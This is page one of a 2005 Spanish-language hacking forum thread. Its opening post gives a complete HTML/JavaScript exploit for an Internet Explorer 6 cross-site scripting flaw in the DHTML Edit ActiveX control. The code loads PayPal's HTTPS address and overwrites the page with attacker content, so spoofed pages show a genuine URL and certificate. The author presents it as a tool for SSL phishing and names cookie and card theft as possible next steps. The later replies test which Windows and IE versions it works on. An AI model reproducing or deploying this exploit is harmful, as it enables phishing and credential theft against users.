Páginas: [1] 2 3 4
|
 |
|
Autor
|
Tema: Hacerle phising al SSL (Leído 14935 veces)
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Wenas a todos, Voy a cambiar de tercio esta vez, no vaya a ser que me encasilleis en criptografía  . Hace unos días ví que apareció una vulnerabilidad XSS en el ActiveX DHTML Edit Control del IE6.0, y que tiene unas posibilidades increíbles, sobre todo para ataques tipo "phising". Un atacante podría simular una web segura, de cualquier sistema de pago o entidad bancaria por ejemplo, manteniendo la URL del sistema falsificado, su certificado de servidor, e incluso su tráfico de cookies. Os pego un programilla para que jugueis. Solo teneis que guardarlo como html. Espero que os guste. Salu2. <html> <head> </head> <body>
<center> <b>Vulnerabilidad XSS IE6.0 para phising SSL</b><br> <br> Pincha en el link de abajo para comprobar si tu sistema es vulnerable. este test abrirá una ventana nueva, con la URL "https://www.paypal.com/", pero mostrando el contenido de este HTML.<br> <br> <b>Test de vulnerabilidad</b><br> <a href="javascript:start();"><font color="#000000">Haz clink en este link</font></a><br> <br> </center>
<!-- Esto evidentemente no tendrá ningún efecto si no está activadas las secuencias de comandos ActiveX en nuestro navegador --> <!-- DHTML Edit Control --> <object id="edtcon" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="0" height="0"> <param name="ActivateApplets" value="1"> <param name="ActivateActiveXControls" value="1"> </object>
<script> function trigger() { window.name = "poorchild"; open("https://www.paypal.com/", "poorchild"); /* Incluso las cookies son transferidas a través del Dhtml Edit control. Esto implica entre otras cosas, que por ejemplo http://by22fd.bay22.hotmail.msn.com/cgi-bin/HoTMaiL?curmbox=F000000001 funcionará correctamente, siempre que el usuario ya esté logado, por supuesto. Je, je, el sueño de los lammers caza hotmails. Nota: No voy a desarrollar nada del script para robo de cookies ni esas cosas por razones obvias. Esto solo hace phising. */ }
function payload() { url = "https://www.paypal.com/"; s = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' + '<HTML>' + '<HEAD>' + '<TITLE> Internet Explorer Cross Site Scripting </TITLE>' + '</HEAD>' + '<BODY bgcolor="#FFFFFF">' + '<center>' + '<table width="80%" cellspacing="0" cellpadding="0">' + '<tr>' + '<td height="20" align="center">Internet Explorer Cross Site Scripting en SSL</td>' + '</tr>' + '<tr><td><br></td></tr>' + '<tr>' + '<td>El contenido que estas visualizando es el de este HTML, aunque en el <b>Address Bar</b> nos indica que estamos en: <b>https://www.paypal.com/</b><br>' + '<br>' + 'Puedes hacer click en el icono del candado SSL, para comprobar como el certificado del servidor claramente nos asegura que estamos en: <b>https://www.paypal.com/</b><br>' + '<br>' + 'Esta página podría fácilmente programarse para robar información de las cookies (usernames, passwords, session IDs, etc.), o para engañar al usuario solicitándole información privada (tarjetas de crédito, etc), o para hacerle instalarse un programa, o lo que se nos ocurra ;).<br>' + '<br>' + 'Esta vulnerabilidad también permite al atacante ejecutar scripts arbitrarios, etc. Las posibilidades sólo las limita la imaginación.<br>' + '<br>' + '<br>' + '<center><a href="javascript:window.close();">Cerrar esta ventana</a></center></td>' + '</tr>' + '<tr><td><br></td></tr>' + '<tr>' + '<td height="20" align="center"> Internet Explorer Cross Site Scripting con SSL</td>' + '</table>' + '</center>' + '</BODY>' + '</HTML>'; w = open(url, "paypal"); w.document.write(s); }
function start() { edtcon.DOM.Script.execScript(trigger.toString()); edtcon.DOM.Script.setTimeout("trigger()"); poll(); }
function poll() { try { edtcon.DOM.location.href; setTimeout('poll()', 100); } catch (e) { edtcon.DOM.Script.execScript(payload.toString()); edtcon.DOM.Script.setTimeout("payload()"); } } </script> </body> </html>
|
|
|
|
« Última modificación: 13 Enero 2005, 09:16 por unravel »
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
|
el-brujo
|
Con un Windows XP Prof SP2, ocurren cosas extrañas.....
Primero no deja ejecutarlo (gracias al SP2), ver primera imagen, y después si lo ejecuto, me salta el Windows Installer del Office 2000.
No entiendo nada, no me sale una nueva ventana.
|
|
|
|
|
En línea
|
Give peace a chance
|
|
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Al probarlo lo he hecho en W2000 con todos los SP y IE6.0.
Con XP SP2 supongo que estarán desactivados las ejecuciones de los los controles ActiveX, mira a ver si eso.
Esto se supone que funciona en IE6.0, incluyendo todos los sistemas con todos sus SP (se me olvidó comentar que es para IE6).
De todas formas, que salte el instalador, no sé, es raro.
A ver si salimos de dudas conforme la gente lo vaya probando.
|
|
|
|
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
zaerik
Desconectado
Mensajes: 1.343
|
Hola, Pues si que a funcionado, e probado en un XP SP1 con IE6 y es vulnerable  .
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Juas.
A mi tb me ha funcionado, pero solo 1 de 2.
La primera vez salio todo, pero me decia que la pagina web no tenia certificado o no era correcto.
La segunda, si me salio la de paypal perfectamente, menuda pasada de bug.....
Salu2
|
|
|
|
|
En línea
|
|
|
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Estoy revisando el código a ver si es que he metido la pata en algún lado, porque he hecho muchas pruebas y variantes con él, y lo mismo he dejado algo mal, pero no veo nada incorrecto. No sé, es cuestión de seguir probando, ya lo depuraré.
A ver si la gente se anima y lo prueba.
|
|
|
|
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
|
Azielito
|
Ps, si que manda el installer  sera que no soy vulnerable?  tengo Win2k 5.00.2195 pro SP4 x)
|
|
|
|
|
En línea
|
|
|
|
|
el-brujo
|
joder ya era hora, bienvenido al Club Aziel.
A mi con otro Windows XP SP1 también se abre el instalador del Office 2000.
Me queda por probar en un Windows 2000 Server del trabajo y en un Windows XP HE en inglés xD
|
|
|
|
|
En línea
|
Give peace a chance
|
|
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Pues vaya, que cosas, yo tengo un w2k 5.00.2195 pro SP4 igual que Azielito y si me funciona perfectamente. Puedes confirmarme la versión del IE que tienes? A ver si va a ser eso.
|
|
|
|
« Última modificación: 13 Enero 2005, 09:20 por unravel »
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
|
el-brujo
|
si se supone que estamos usando Windows con todos los parches posibles, pues en mi caso uso el IE 6.0 e imagino que Aziel también.
Mi versión del Office 2000 también la "Premium".
|
|
|
|
|
En línea
|
Give peace a chance
|
|
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Estoy un poco despistado. No veo nada reportado sobre este bug salvo que funciona para todos los IE6.0, y por lo que vemos no es así. No creo que MS haya sacado y un parche cuando esto es de hace un mes. No sé, a ver si indagando. Por ahora el sistema más parecido al mio donde no sale es en el de Aziel. Te pongo aquí mi versión de IE6.0, a ver si coincide con la tuya.
|
|
|
|
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
Ambolius
Desconectado
Mensajes: 1.346
/España/Guadalajara
|
Me ocurre lo mismo que a ti, brujo... no se me habre nada en un xp profesisonal sp1 con un ie 6.0.2600
|
|
|
|
|
En línea
|
Un informático a otro: - ¿Cuantos eran los Dálmatas? - 101. - Por el culo te la hinco.
|
|
|
Unravel
BlueHack Team
Desconectado
Mensajes: 1.016
|
Ambolius, Te salta el installer del office? Tienes activado las secuencias de ActiveX?
|
|
|
|
|
En línea
|
"La verdad es un ácido corrosivo que salpica casi siempre al que la maneja". Santiago Ramón y Cajal.
|
|
|
Ambolius
Desconectado
Mensajes: 1.346
/España/Guadalajara
|
no, no me sale el instalador del office, las casillas de permitir secuencias activeX las he puesto alguna que tenia desactivada a activar, pero aun asi... simplemente no hace nada.
|
|
|
|
|
En línea
|
Un informático a otro: - ¿Cuantos eran los Dálmatas? - 101. - Por el culo te la hinco.
|
|
|
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Colaborador
Desconectado
Mensajes: 3.322
|
Yo rulo con WIN200 y me sale la instalcion igual que todos del Office 2000, pero si peta
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2 3 4
|
|
|
|